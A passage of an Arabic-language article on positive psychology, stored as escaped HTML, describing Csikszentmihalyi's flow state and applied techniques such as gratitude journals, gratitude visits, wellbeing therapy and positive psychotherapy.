\u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0641\u064a \u0625\u0637\u0627\u0631 \u0633\u062a\u0629 \u0639\u0648\u0627\u0645\u0644 \u0623\u0633\u0627\u0633\u064a\u0629 \u062a\u062a\u0645\u064a\u0632 \u0628\u0647\u0627 &#8220;\u062d\u0627\u0644\u0629 \u0627\u0644\u062a\u062f\u0641\u0642&#8221; \u0648\u062a\u062a\u0645\u062b\u0644 \u0641\u064a\u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u062a\u0631\u0643\u064a\u0632 \u062a\u0627\u0645 \u0648\u0645\u0637\u0644\u0642 \u0648\u0634\u062f\u064a\u062f \u0641\u064a \u0627\u0644\u0644\u062d\u0638\u0629 \u0627\u0644\u0631\u0627\u0647\u0646\u0629.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0646\u062f\u0645\u0627\u062c \u0627\u0644\u0641\u0639\u0644 \u0641\u064a \u0627\u0644\u0648\u0639\u064a\u060c \u0628\u0645\u0639\u0646\u0649 \u062d\u0636\u0648\u0631 \u0648\u0627\u0646\u062f\u0645\u0627\u062c \u0627\u0644\u0634\u062e\u0635 \u0628\u0635\u0648\u0631\u0629 \u062a\u0627\u0645\u0629 \u0648\u0645\u0637\u0644\u0642\u0629 \u0641\u064a \u0623\u0641\u0639\u0627\u0644\u0647.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0646\u0642\u0635 \u0623\u0648 \u062d\u062a\u0649 \u063a\u064a\u0627\u0628 \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0630\u0627\u062a \u0648\u0646\u0642\u0635 \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647 \u0625\u0644\u0649 \u0627\u0644\u0630\u0627\u062a &#8220;\u0627\u0644\u0633\u064f\u0643\u0631 \u0639\u0646 \u0627\u0644\u0630\u0627\u062a&#8221;.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0645\u062a\u0644\u0627\u0643 \u0627\u0644\u0645\u0648\u0642\u0641 \u0648\u0636\u0628\u0637 \u0648\u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0639\u0644\u064a\u0647 \u0648\u0627\u0644\u0627\u0642\u062a\u062f\u0627\u0631 \u0627\u0644\u0634\u062e\u0635\u064a.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u062a\u0634\u0648\u0647 \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0645\u0631\u0648\u0631 \u0627\u0644\u0632\u0645\u0646.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0639\u062a\u0628\u0627\u0631 \u0627\u0644\u0646\u0634\u0627\u0637 \u0623\u0648 \u0627\u0644\u0645\u0648\u0642\u0641 \u0645\u062b\u064a\u0628\u064b\u0627 \u0641\u064a \u062d\u062f \u0630\u0627\u062a\u0647\u060c \u0628\u0645\u0639\u0646\u0649 \u0627\u0644\u0627\u0646\u062f\u0645\u0627\u062c \u0641\u064a\u0647 \u0644\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 \u0628\u0627\u0644\u0646\u0634\u0627\u0637 \u0648\u0627\u0644\u0639\u0645\u0644 \u062f\u0648\u0646 \u0627\u0646\u062a\u0638\u0627\u0631 \u0623\u064a\u0629 \u0625\u062b\u0627\u0628\u0627\u062a \u0623\u0648 \u0645\u0643\u0627\u0641\u0622\u062a \u0645\u0646 \u062e\u0627\u0631\u062c\u0647 (Csikszentmihalyi, 1975).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0645\u0646 \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u0641\u0625\u0646 \u0645\u0646 \u064a\u062f\u062e\u0644 \u0641\u064a \u062d\u0627\u0644\u0629 \u0627\u0644\u062a\u062f\u0641\u0642 \u064a\u0646\u062f\u0645\u062c \u0628\u0635\u0648\u0631\u0629 \u062a\u0627\u0645\u0629 \u0648\u0643\u0644\u064a\u0629 \u0641\u064a\u0645\u0627 \u064a\u0642\u0648\u0645 \u0628\u0647 \u0645\u0646 \u0623\u0639\u0645\u0627\u0644\u060c \u0648\u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u0627\u0633\u062a\u063a\u0631\u0627\u0642 \u0627\u0644\u062a\u0627\u0645 \u064a\u0646\u0634\u0623 \u0639\u0646\u062f\u0645\u0627 \u062a\u0643\u0648\u0646 \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u0646\u0648\u0627\u062c\u0647\u0647\u0627 \u0630\u0627\u062a \u0642\u064a\u0645\u0629 \u0648\u0623\u0647\u0645\u064a\u0629 \u0648\u062a\u062a\u0646\u0627\u0633\u0628 \u0645\u0639 \u0642\u062f\u0631\u0627\u062a\u0646\u0627 \u0648\u0645\u0647\u0627\u0631\u0627\u062a\u0646\u0627 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0641\u0639\u0646\u062f\u0645\u0627 \u062a\u0643\u0648\u0646 \u0642\u062f\u0631\u0627\u062a\u0646\u0627 \u0648\u0645\u0647\u0627\u0631\u0627\u062a\u0646\u0627 \u0645\u0631\u062a\u0641\u0639\u0629 \u0648\u0627\u0644\u062a\u062d\u062f\u064a \u0627\u0644\u0630\u064a \u0646\u0648\u0627\u062c\u0647\u0647 \u0645\u0646\u062e\u0641\u0636 \u0646\u0635\u0627\u0628 \u0628\u0627\u0644\u0645\u0644\u0644\u060c \u0648\u0639\u0646\u062f\u0645\u0627 \u064a\u0643\u0648\u0646 \u0627\u0644\u062a\u062d\u062f\u064a \u0627\u0644\u0630\u064a \u0646\u0648\u0627\u062c\u0647\u0647 \u0639\u0627\u0644 \u0623\u0648 \u0645\u0631\u062a\u0641\u0639 \u0648\u0642\u062f\u0631\u0627\u062a\u0646\u0627 \u0648\u0645\u0647\u0627\u0631\u0627\u062a\u0646\u0627 \u0639\u0644\u0649 \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647 \u0645\u0646\u062e\u0641\u0636\u0629 \u0646\u0635\u0627\u0628 \u0628\u0627\u0644\u0627\u0631\u062a\u0628\u0627\u0643 \u0648\u0627\u0644\u062a\u0648\u062a\u0631\u060c \u0648\u0639\u0646\u062f\u0645\u0627 \u064a\u0643\u0648\u0646 \u0627\u0644\u062a\u062d\u062f\u064a \u0627\u0644\u0630\u064a \u0646\u0648\u0627\u062c\u0647\u0647 \u0645\u0646\u062e\u0641\u0636 \u0648\u0642\u062f\u0631\u0627\u062a\u0646\u0627 \u0648\u0645\u0647\u0627\u0631\u0627\u062a\u0646\u0627 \u0645\u0646\u062e\u0641\u0636 \u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0648\u0642\u062a \u0646\u0639\u0627\u0646\u064a \u0645\u0646 \u0627\u0644\u0628\u0644\u0627\u062f\u0629 \u0648\u0627\u0644\u0641\u062a\u0648\u0631\u060c \u0623\u0645\u0627 \u062d\u0627\u0644\u0629 \u0627\u0644\u062a\u062f\u0641\u0642 \u0627\u0644\u0641\u0639\u0644\u064a\u0629 \u0644\u0627 \u062a\u062a\u062d\u0642\u0642 \u0625\u0644\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u0646\u0648\u0627\u062c\u0647\u0647\u0627 \u0645\u0631\u062a\u0641\u0639\u0629 \u0648\u0645\u0647\u0645\u0629 \u0648\u0630\u0627\u062a \u0642\u064a\u0645\u0629 \u0648\u0642\u062f\u0631\u0627\u062a\u0646\u0627 \u0648\u0645\u0647\u0627\u0631\u0627\u062a\u0646\u0627 \u0645\u0631\u062a\u0641\u0639\u0629 \u0648\u062a\u0624\u0647\u0644\u0646\u0627 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u062c\u062f\u0631 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646 &#8220;\u0627\u0644\u062f\u062e\u0648\u0644&#8221; \u0641\u064a \u062d\u0627\u0644\u0629 &#8220;\u0627\u0644\u062a\u062f\u0641\u0642&#8221; \u0623\u0645\u0631\u064b\u0627 \u064a\u062a\u0636\u0645\u0646 \u0641\u064a \u0628\u0646\u064a\u062a\u0647 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 &#8220;\u0627\u0644\u0625\u062b\u0627\u0628\u0629 \u0648\u0627\u0644\u0645\u0643\u0627\u0641\u0622\u0629 \u0627\u0644\u0630\u0627\u062a\u064a\u0629&#8221; \u0648\u063a\u0627\u0644\u0628\u064b\u0627 \u062a\u062c\u0633\u062f \u062e\u0628\u0631\u0629 \u0645\u0645\u062a\u0639\u0629\u061b \u0648\u0645\u0646 \u062b\u0645 \u0641\u0625\u0646 \u0627\u0644\u062a\u062f\u0641\u0642 \u064a\u0628\u062f\u0648 \u0645\u0631\u062a\u0628\u0637\u064b\u0627 \u0628\u0635\u0648\u0631\u0629 \u0645\u0628\u0627\u0634\u0631\u0629 \u0628\u0627\u0644\u062a\u0646\u0639\u0645 \u0648\u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u0623\u0643\u0627\u062f\u064a\u0645\u064a\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0627\u0644\u0633\u0648\u064a\u0629 \u0648\u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629(Csikszentmihalyi &amp; Csikszentmihalyi, 1988).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0646 \u0627\u0644\u0623\u0639\u0645\u0627\u0644 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0627\u0644\u062a\u064a \u0648\u0635\u0641\u0647\u0627 \u0641\u064a\u0647\u0627 \u0645\u064a\u0647\u0627\u064a \u062a\u0633\u0643\u0632\u0646\u062a\u0645\u0647\u0627\u064a \u062e\u0628\u0631\u0629 \u0648\u062d\u0627\u0644\u0629 \u0627\u0644\u062a\u062f\u0641\u0642 \u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0625\u064a\u062c\u0627\u062f \u0627\u0644\u062a\u062f\u0641\u0642: \u0633\u064a\u0643\u0648\u0644\u0648\u062c\u064a\u0629 \u0627\u0644\u0627\u0646\u062f\u0645\u0627\u062c \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 (1998).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u062a\u062f\u0641\u0642: \u0633\u064a\u0643\u0648\u0644\u0648\u062c\u064a\u0629 \u0627\u0644\u062e\u0628\u0631\u0629 \u0627\u0644\u0645\u064f\u062b\u0644\u0649 (2008).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0625\u0628\u062f\u0627\u0639: \u0627\u0644\u062a\u062f\u0641\u0642 \u0648\u0633\u064a\u0643\u0648\u0644\u0648\u062c\u064a\u0629 \u0627\u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0648\u0627\u0644\u0627\u0628\u062a\u0643\u0627\u0631 (2013).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><em><span style=\"color: #000000;\"><strong>\u062b\u0627\u0645\u0646\u064b\u0627- \u0623\u0645\u062b\u0644\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0629 &#8220;\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221;:<\/strong><\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\u0627\u0644\u0633\u0624\u0627\u0644 \u0627\u0644\u0623\u0633\u0627\u0633 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0633\u064a\u0627\u0642 \u0645\u0627 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0625\u0646 \u0643\u0627\u0646 \u0644\u0647 \u0643\u0644 \u0647\u0630\u0647 \u0627\u0644\u0623\u0647\u0645\u064a\u0629 \u0645\u0646 \u0627\u0644\u0646\u0627\u062d\u064a\u0629 \u0627\u0644\u0646\u0638\u0631\u064a\u0629\u061f \u0645\u0627 \u064a\u062c\u062f\u0631 \u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0639\u0644\u064a\u0647 \u0623\u0646 \u0645\u0628\u0627\u062f\u0626 \u0648\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0648\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u064a\u0645\u0643\u0646 \u062a\u0637\u0628\u064a\u0642\u0647\u0627 \u0641\u064a \u0639\u062f\u064a\u062f \u0645\u0646 \u0645\u062c\u0627\u0644\u0627\u062a \u0648\u0633\u064a\u0627\u0642\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u0629 \u0645\u062b\u0644: \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0646\u0641\u0633\u064a\u060c \u0627\u0644\u0641\u0635\u0648\u0644 \u0627\u0644\u0645\u062f\u0631\u0633\u064a\u0629\u060c \u0628\u064a\u0626\u0627\u062a \u0627\u0644\u0639\u0645\u0644\u060c \u0648\u0628\u0644 \u0648\u062d\u062a\u0649 \u0641\u064a \u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u0645\u0646\u0632\u0644\u064a\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0646 \u0628\u064a\u0646 \u0627\u0644\u0641\u0646\u064a\u0627\u062a \u0627\u0644\u0645\u0647\u0645\u0629 \u0627\u0644\u062a\u064a \u062b\u0628\u062a \u0641\u0627\u0626\u062f\u062a\u0647\u0627 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0635\u062f\u062f \u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0637\u0631\u064a\u0642\u0629 \u062e\u0628\u0631\u0629 \u062c\u0645\u0639 \u0627\u0644\u0639\u064a\u0646\u0629 \u0648\u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647\u0627 \u0623\u064a\u0636\u064b\u0627 \u0628\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0645\u0630\u0643\u0631\u0627\u062a \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0623\u0648 \u0627\u0644\u064a\u0648\u0645\u064a\u0627\u062a:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u064a\u0645\u0631\u00a0 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0641\u064a \u062d\u064a\u0627\u062a\u0647 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0628\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0648\u0627\u0644\u062e\u0628\u0631\u0627\u062a \u0648\u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0639\u0644\u0649 \u0645\u062f\u0627\u0631 \u0627\u0644\u064a\u0648\u0645 \u064a\u0641\u062a\u0631\u0636 \u0623\u0646 \u064a\u062a\u0648\u0642\u0641 \u0639\u0646\u062f\u0647\u0627 \u0648\u064a\u0646\u062a\u0628\u0647 \u0625\u0644\u064a\u0647\u0627 \u0645\u0631\u0627\u062c\u0639\u064b\u0627 \u0644\u0647\u0627 \u0648\u0631\u0635\u062f\u064b\u0627 \u0644\u062a\u0623\u062b\u064a\u0631\u0627\u062a\u0647\u0627 \u0639\u0644\u064a\u0647 \u062a\u0641\u0643\u064a\u0631\u064b\u0627 \u0648\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u064b \u0648\u0633\u0644\u0648\u0643\u064b\u0627. \u0648\u0644\u0627 \u0631\u064a\u0628 \u0641\u064a \u0623\u0646 \u062a\u062f\u0648\u064a\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0648\u062a\u0644\u0643 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0623\u0645\u0631\u064b\u0627 \u0628\u0627\u0644\u063a \u0627\u0644\u0623\u0647\u0645\u064a\u0629 \u0648\u064a\u0639\u062a\u0645\u062f \u0639\u0644\u064a\u0647 \u0641\u064a \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u062a\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0633\u062a\u0647\u062f\u0641 \u062a\u0646\u0645\u064a\u0629 \u0648\u0639\u064a \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0628\u0630\u0627\u062a\u0647 \u0648\u0625\u0643\u0633\u0627\u0628\u0647 \u0628\u0628\u0635\u064a\u0631\u0629 \u0628\u064a\u0648\u0645\u0647 \u0648\u0628\u0623\u0633\u0644\u0648\u0628\u0647 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0645\u0645\u0627\u0631\u0633\u0629 \u062a\u062f\u0648\u064a\u0646 \u0635\u064a\u062d\u0641\u0629 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u062a\u062a\u0636\u0645\u0646 \u0635\u062d\u064a\u0641\u0629 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646<a href=\"https:\/\/positivepsychology.com\/gratitude-journal\/\"><strong>A gratitude journal<\/strong><\/a> \u0637\u0631\u064a\u0642\u0629 \u064a\u062a\u0645\u0643\u0646 \u0628\u0645\u0648\u062c\u0628\u0647\u0627 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0645\u0646 \u062a\u0639\u0631\u0641 \u0648\u062a\u062d\u062f\u064a\u062f \u0648\u0627\u0644\u062a\u062f\u0628\u0631 \u0641\u064a \u0643\u0644 \u0627\u0644\u0623\u0634\u064a\u0627\u0621 \u0627\u0644\u062c\u064a\u062f\u0629 \u0641\u064a \u062d\u064a\u0627\u062a\u0647\u0645\u060c \u0643\u0644 \u0627\u0644\u0623\u0634\u064a\u0627\u0621 \u0648\u0627\u0644\u0648\u0642\u0627\u0626\u0639 \u0648\u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u062a\u064a \u062a\u0645\u062b\u0644 \u0647\u0628\u0627\u062a \u0648\u0646\u0639\u0645 \u062a\u0644\u0642\u064a\u0647\u0627 \u0639\u0644\u064a\u0647\u0645 \u0627\u0644\u062d\u064a\u0627\u0629 \u0639\u0644\u0649 \u0646\u062d\u0648 \u064a\u0648\u0645\u064a.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0639\u0644\u0649 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0641\u0646\u064a\u0629 &#8220;\u0632\u064a\u0627\u0631\u0629 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646&#8221;:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0632\u064a\u0627\u0631\u0629 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646 \u0623\u0648 \u062e\u0637\u0627\u0628\u0627\u062a \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646 \u0645\u0645\u0627\u0631\u0633\u0629 \u064a\u062d\u062f\u062f \u0628\u0645\u0648\u062c\u0628\u0647\u0627 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0634\u062e\u0635\u064b\u0627 \u0645\u062f\u064a\u0646 \u0644\u0647 \u0628\u0627\u0644\u0641\u0636\u0644 \u0648\u0627\u0644\u0639\u0631\u0641\u0627\u0646 \u0648\u0627\u0644\u0625\u0642\u0631\u0627\u0631 \u0630\u0644\u0643 \u0627\u0644\u0623\u0645\u0631 \u0648\u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0630\u0644\u0643 \u0628\u062e\u0637\u0627\u0628 \u0623\u0648 \u062a\u0639\u0628\u064a\u0631\u064b\u0627 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\u062a\u0646\u0645\u064a\u0629 \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u062a\u062e\u0644\u0635 \u0645\u0646 \u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0636\u0639\u0641 \u0648\u0645\u0638\u0627\u0647\u0631 \u0627\u0644\u0642\u0635\u0648\u0631:<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0645\u0646 \u0627\u0644\u0645\u0644\u0627\u0645\u062d \u0627\u0644\u0641\u0627\u0631\u0642\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0648\u0627\u0644\u0625\u0631\u0634\u0627\u062f \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u062a\u0645\u064a\u0632 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0628\u0648\u0627\u0637\u0646 \u0627\u0644\u0636\u0639\u0641 \u0648\u0645\u0638\u0627\u0647\u0631 \u0627\u0644\u0642\u0635\u0648\u0631. \u0648\u064a\u062a\u0623\u0633\u0633 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0641\u0643\u0631\u0629 \u0639\u0627\u0645\u0629 \u0645\u0641\u0627\u062f\u0647\u0627 \u0623\u0646 \u062a\u0646\u0645\u064a\u0629 \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u062a\u0623\u0633\u064a\u0633 \u0639\u0644\u064a\u0647\u0627 \u0623\u0643\u062b\u0631 \u0642\u064a\u0645\u0629 \u0648\u0645\u0633\u0627\u0631\u064b\u0627 \u0641\u0639\u0627\u0644\u0627\u064b \u0644\u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0646\u062c\u0627\u062d \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0645\u0648\u062c\u0647 \u0646\u062d\u0648 \u0627\u0644\u062a\u0646\u0639\u0645 \u0623\u0648 \u0627\u0644\u0647\u0646\u0627\u0621Wellbeing therapy:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u0647\u0648 \u0645\u062f\u062e\u0644 \u0643\u0644\u064a \u0641\u064a \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0646\u0641\u0633\u064a \u064a\u0634\u0628\u0647 \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0645\u0639\u0631\u0641\u064a \u0640 \u0627\u0644\u0633\u0644\u0648\u0643\u064a \u0644\u0643\u0646\u0647 \u064a\u0631\u0643\u0632 \u0639\u0644\u0649 \u062a\u0646\u0645\u064a\u0629 \u0643\u0644 \u0645\u0646 &#8220;\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629&#8221; \u0648\u062a\u062e\u0641\u064a\u0641 \u0627\u0644\u0645\u0638\u0627\u0647\u0631 \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0641\u064a \u062d\u064a\u0627\u0629 \u0627\u0644\u0639\u0645\u064a\u0644\u060c \u0648\u062a\u0623\u0633\u0633\u062a \u0647\u0630\u0647 \u0627\u0644\u0635\u064a\u063a\u0629 \u0627\u0644\u0639\u0644\u0627\u062c \u0639\u0644\u0649 \u0646\u0645\u0648\u0630\u062c \u0643\u0627\u0631\u0648\u0644 \u0631\u0627\u064a\u0641 \u0639\u0646 &#8220;\u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a Carol Ryff\u2019s model of wellbeing&#8221; \u0648\u0627\u0644\u0630\u064a \u064a\u0639\u0631\u0641 \u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0643\u062f\u0627\u0644\u0629 \u0644\u0644\u062a\u0641\u0627\u0639\u0644 \u0628\u064a\u0646 \u0633\u062a\u0629 \u0645\u0643\u0648\u0646\u0627\u062a \u0623\u0633\u0627\u0633\u064a\u0629 \u062a\u062a\u0645\u062b\u0644 \u0641\u064a: \u0627\u0644\u062a\u0645\u0643\u0646 \u0627\u0644\u0628\u064a\u0626\u064a \u0623\u0649 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0636\u0628\u0637 \u0627\u0644\u0628\u064a\u0626\u0629 \u0648\u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0639\u0644\u064a\u0647\u0627\u060c \u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0627\u0644\u0634\u062e\u0635\u064a\u060c \u0627\u0644\u063a\u0631\u0636 \u0645\u0646 \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0627\u0644\u0630\u0627\u062a\u064a\u0629 \u0648\u0627\u0644\u0627\u0633\u062a\u0642\u0644\u0627\u0644\u064a\u0629\u060c \u062a\u0642\u0628\u0644 \u0627\u0644\u0630\u0627\u062a\u060c \u0648\u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629(Harvard Health Publishing, 2008).<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064aPositive psychotherapy:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u0634\u0628\u0647 \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0642\u0627\u0626\u0645 \u0639\u0644\u0649 \u0627\u0644\u0647\u0646\u0627\u0621 \u0623\u0648 \u0627\u0644\u062a\u0646\u0639\u0645\u060c \u0644\u0643\u0646\u0647 \u064a\u062a\u0636\u0645\u0646 \u062d\u0642\u064a\u0628\u0629 \u0639\u0627\u0645\u0629 \u0645\u0646 \u0627\u0644\u0641\u0646\u064a\u0627\u062a \u0648\u0627\u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0633\u062a\u062e\u062f\u0645 \u0641\u064a \u0627\u0644\u0639\u0644\u0627\u062c\u060c \u0648\u0646\u0642\u0637\u0629 \u062a\u0631\u0643\u064a\u0632\u0647 \u0647\u064a \u0628\u0646\u0627\u0621 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629\u060c \u062a\u0646\u0645\u064a\u0629 \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u062a\u0645\u064a\u0632\u060c \u0648\u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0645\u0639\u0646\u0649 \u0627\u0644\u062d\u064a\u0627\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u062d\u062a\u0648\u064a \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a (12) \u062a\u062f\u0631\u064a\u0628\u064b\u0627 \u0639\u0627\u0645\u064b\u0627 \u062a\u0633\u062a\u062e\u062f\u0645 \u0641\u064a \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0646\u0641\u0633\u064a \u0645\u0646\u0647\u0627: \u0645\u0645\u0627\u0631\u0633\u0629 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0639\u0644\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 